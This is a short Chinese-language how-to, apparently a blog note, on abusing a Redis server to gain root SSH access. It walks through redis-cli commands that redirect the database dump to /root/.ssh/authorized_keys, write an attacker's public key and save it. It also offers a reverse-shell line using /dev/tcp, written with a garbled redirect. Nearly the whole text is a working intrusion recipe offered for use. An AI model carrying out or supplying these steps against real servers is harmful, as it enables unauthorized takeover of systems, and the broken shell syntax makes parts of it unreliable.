1,利用redis漏洞,远程登录服务器

1.1 登录远程 redis 并写入ssh公钥

[[email protected] ~]# redis-cli -h 192.168.168.168 -p 6379 -a 123456

# 设置路径等配置(必须有写入权限)

192.168.168.168:6379> config set dir /root/.ssh

OK

(写密钥或者直接写反弹shell也可以 /bin/bash   -i $/dev/tcp/ip/port 0>&1)

# 上传公钥的备份文件名字为authorized_keys

192.168.168.168:6379> config set dbfilename authorized_keys

OK

# 写入 ssh公钥

192.168.168.168:6379> set xxx "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC81NVpk8QyY1Roeo8lvHzjpPkvkWy4vYTzJi0msFaxvbpkQ0k2EvWDL8gxCPiu5/TzA47xTTKkk2H9Us0ciPnKRHliJMx7X0t4HaQj2LZ15t186O4JBaZhD4AEHkJDl9g1kR5XVtJmeQREv7GNCMFhFILyre1BWrrMrZbT4x1SMimOfbvhi2itSB9tReMQYkgpiQ0RnV1YDgk83/+Hr [email protected]\n\n\n"

OK

# 保存配置

192.168.168.168:6379> save

OK

# 退出

192.168.168.168:6379> exit
